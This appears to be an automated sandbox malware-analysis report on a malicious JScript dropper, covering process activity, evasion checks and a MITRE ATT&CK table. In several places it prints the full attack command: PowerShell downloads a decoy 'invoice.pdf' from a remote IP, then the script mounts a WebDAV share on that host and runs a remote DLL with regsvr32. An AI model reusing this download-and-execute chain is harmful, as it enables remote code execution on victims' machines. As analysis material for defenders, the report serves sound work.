Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5154.js.csv");ITextStream.WriteLine(" entry:8731 f:bqyai");ITextStream.WriteLine(" exec:2 f:bqyai");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4414			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5455			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8060	Thread sleep count: 4414 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8060	Thread sleep count: 5455 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8120	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8144	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7592	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2508	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1481425297.00000187333E2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481425297.000001873343F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2717617901.00000212D882B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2718889670.00000212DDE55000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
